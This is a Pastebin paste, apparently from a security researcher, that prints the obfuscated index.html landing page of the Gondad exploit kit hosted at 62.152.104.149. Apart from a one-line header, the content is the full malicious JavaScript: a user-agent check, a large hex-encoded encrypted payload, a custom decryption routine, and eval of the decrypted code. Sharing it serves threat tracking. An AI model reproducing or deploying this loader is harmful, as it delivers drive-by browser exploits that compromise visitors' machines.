eromang

62.152.104.149 index.html obfuscated code

Aug 29th, 2012
367
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. -----------------------------------------------------------
  2. Obfuscated index.html is also part of Gondad exploit kit on 62.152.104.149
  3. -----------------------------------------------------------
  4. <script>
  5. for(QDpz6=0,GlCti8=true,TnKw5=["msie","firefox","opera"];GlCti8;QDpz6++){GlCti8=GlCti8 && (navigator.userAgent.toLowerCase().indexOf(TnKw5[QDpz6])>-1);if(QDpz6==TnKw5.length-1)QDpz6=-1;}kUgbypq1="0";delete kUgbypq1;try{kUgbypq1+="0"+"0";}catch(e){nhjY7 = eval;JDydh2=unescape;}nbrq0="75E1CB0874C4B76125E2C00A30C5C45170ECE9003DECFB00679EDE1B1DC4C8391198894A6F9E954C578291A95CC0C5ED07DE99FF06D1D1E304EDDAFC18B4D8F052B0BCEE1EBDE5E4FBABFA80BAF7BACDE5BFBEDFA1B1B4DAFA84B8C4F895F3C1E88E93F9F88A8BC88D87868CC88088B6E89A82AD87D6CEC1B97C9FF09F6185AC88337AB6DB446F93A52B3C8DB46E7AC4FD2C28C8F12F28DDFA1E038BB3786E81B67E7F8CF168679597643130DB4A5F5CAE4A753A8C61626D8078633DD0766777927D3530BE592A4F2D15273D29372F5130362E5C1026432F46362810372B39374D23343F4B22222D33687C6A6369243529352D313F61447366657723222337302E2B37746C6B6E6531737261701C6F79786C7675726B6938576A6D69663225076F677D72313822303D35203F2131243E232F2826222A6D637D6548792E60667B71786967265367657E71507D61797278700F72687C2425286D666D794C2B6F7D6E6A384269337F636762683B2F3C66656A7060777E7B717B636C7C7972684E76772A3D227570756164356565607C327B783D656D7954722D3924787B736073794872647E767E6C07392F796379766026617A7C6F2E7D662E616075677E383D31283D193D3F31737F77706A2067746661305A404C543D656D7954722D3924786278352F29137379647B21424F69777F74257461677C6836342F6F747C766C397C7A68782B7E7B4272687B663E73706B756C282B236C697F6474693D667453302E252C545657425C4C1F2928610E05604C74760408701A07626078646776716120607370667E2D3F2A7D7B1F3828360E14737075206E7A65606C7D76357572707978447964376069717C737A5D4D6E6C796D7B2D07657C6D7B2C3E360B057F7E6966727060632F7B7D7F7C33776F794474654E6B7769752F67667B6F65696026331C17656D6701707F77677A703D3A3F7C4E6874716661710E64616C637F72486A6A7674646737326F677175776F22342D120346756F69627A2B666E647D7D36263F2C392A2A10196B7A4F73717D2D73717460776C1C293329352D3E2D0D74666C6F7669286E6972627A6970333560696277606938756853383A0009796A7F63616D3B686B697C322A726B763E25102568617B633A5A68717C577D2F7F6F6E7653252804086C7863626E7F3F79766B547A637370706E71783E3D71487B6E6062716967252C2B7D7F707D232027272F3D3D2013392129373525293E306854696D75602068456267606C6C384B6A6E687955666F716F6364377763603F3F24042B7D6E63677F613F74657D547F707F706D7D65783B2E774F353C3B74746D727266715B6368646A6E6A4D667C6574293E360B057C7E64777E712064646D536F716F7F7D7C557F292F7077273D2563667B6C686C70766D7368626537082C1D1364747A79667B36526E755D777B774965667D6723356F752D37333D272737272C0C13767466687B7A675534636267672B7077706C7B6F476570636C397A7C6271407339220E1169100D24152B6F6470667B60004B7F43676F26360B057F7466766B702E6F495B50557F532624042B7E6461666A60314876615A4A7D3922020275787F6961443748406C4C4073752E232C0165796F6A714527465F7873764E693E201C00777A796B6364397154725F792F322C1065686F7B717427475F5168516A2F34051B7976607055723050524E7F443424152B6F6470667B600048445D474C41383D0211756F7F7A616B376C4C6A4F4650772B322C1065686F7B717427694576526A6E723F331C177769794463753955797F7973657B10300C16676A69457376296C69657C3634161B6E7673707A72217F63526F6A44563C1A170B69667260656220677D615D3A22020275787F696144376770615A4455712E232C0165796F6A714527594D7B6F7F3F3D0211756F7F7A616B37646D4B4D36261B156D44766479663E44474B66392E060E697C636D6578334B7E6B74455449282F100D7B7D4D6E757923787D487560676E3F2C000C6B7E7D6F677A35766F51695B2E3E101C7B6C4D7F7568234D485070323218016068756A7C743D5D665F715C5B2B38161E7962737D556E2145747B53425327320F0173686A6A6F742A60725E5D75662929160F7973736C557F2166567967687771382E060E697C636D6578334B796263792138161E7962737D556E21486D4472153C1E03666E7B68726A3B404E636523351A0B7D77776069733F4A594352484C263E1C0D646C796E70683965626B5851682D1A1A1A7D66777169623F7C4C73492438020F44627F6C766E37597F477123311E15716B7B646D773B5445726D5A69283A00097A607D62746C356E4B7F6B683B2A101968704D72647C235E7F5F716C2E1A060B7866636054623360537A403C3D0211756F7F7A616B376260636A7D5B2424042B7E6461666A60316C4F6F7271503C220202656F6A77564E7B7C7C606F537C757D79466E2935387266417370612A6E3E767B0211";LlJed1="function xHBBNzN0(){OvhOAy4=Math.PI;NjJPKK2=Math.tan;XYoWTnr1=parseInt;UVzxaCo1='length';xxPpI5='test';AVLf0='replace';cOwBo0=XYoWTnr1(~((~OvhOAy4&~OvhOAy4)|((OvhOAy4&OvhOAy4)|(~OvhOAy4&OvhOAy4)&(OvhOAy4&~OvhOAy4))));GVDcUg6=XYoWTnr1(((cOwBo0&cOwBo0)|(~cOwBo0&cOwBo0)&(cOwBo0&~cOwBo0)|(~cOwBo0&~cOwBo0))&1);/*Encrypt  By Dadong's JSXX 0.44 VIP*/IQUkY3=GVDcUg6<<GVDcUg6;new function(){fqIjwRI5=nhjY7('1Qe4dG*]6zY^k8vb]#&,m8$[x_GD3a]Nj5dsn7[F[8cu[S34Rlc]4r;idpDt*='[AVLf0](/[^v@0el9a]/g,''));};try{if(!\/^\\d*$\/g[xxPpI5](OWTEGV5));}catch(e){OWTEGV5=cOwBo0;}mUxTCMa4='';iLcYnck0=String[JDydh2('%6'+'6%72%'+'6F%6D%4'+'3%68%61'+'%72%4'+'3%6F%64'+'%65')];for(Vbkdtzc1=cOwBo0;Vbkdtzc1<LlJed1[UVzxaCo1];Vbkdtzc1-=-GVDcUg6)OWTEGV5=((OWTEGV5&127)<<25)|((OWTEGV5&4294967168)>>>7)+LlJed1.charCodeAt(Vbkdtzc1);SMAw2+=GVDcUg6;OWTEGV5>>>=0;for(Vbkdtzc1=cOwBo0,etYV3=GVDcUg6;Vbkdtzc1<nbrq0[UVzxaCo1];Vbkdtzc1+=IQUkY3,etYV3++){if(Vbkdtzc1>=(1<<3)){smKSbg0=Vbkdtzc1%(1<<3);}else {smKSbg0=Vbkdtzc1;}YwtVbT4=XYoWTnr1('0x'+OWTEGV5.toString(GVDcUg6<<4).substr(smKSbg0,2))+etYV3;if(\/^(\\d{4})\/g[xxPpI5](YwtVbT4+744))YwtVbT4%=34;mUxTCMa4+=iLcYnck0(XYoWTnr1(cOwBo0+JDydh2('x')+nbrq0.charAt(Vbkdtzc1)+nbrq0.charAt(Vbkdtzc1+XYoWTnr1(GVDcUg6)))^YwtVbT4);}try{new function(){fqIjwRI5(mUxTCMa4);}}catch(e){try{new function(){GkJcUMJ3=parseInt;NjJPKK2(mUxTCMa4);}}catch(e) {window.location='.';}}}try{nhjY7('xHBBNzN0();')}catch(e) {try{SMAw2=cOwBo0;nhjY7('xHBBNzN0();');}catch(e){alert('ern');}}";wibAPHv1 = nhjY7(nhjY7);wibAPHv1(LlJed1);
  6. </script>
Advertisement
Add Comment
Please, Sign In to add comment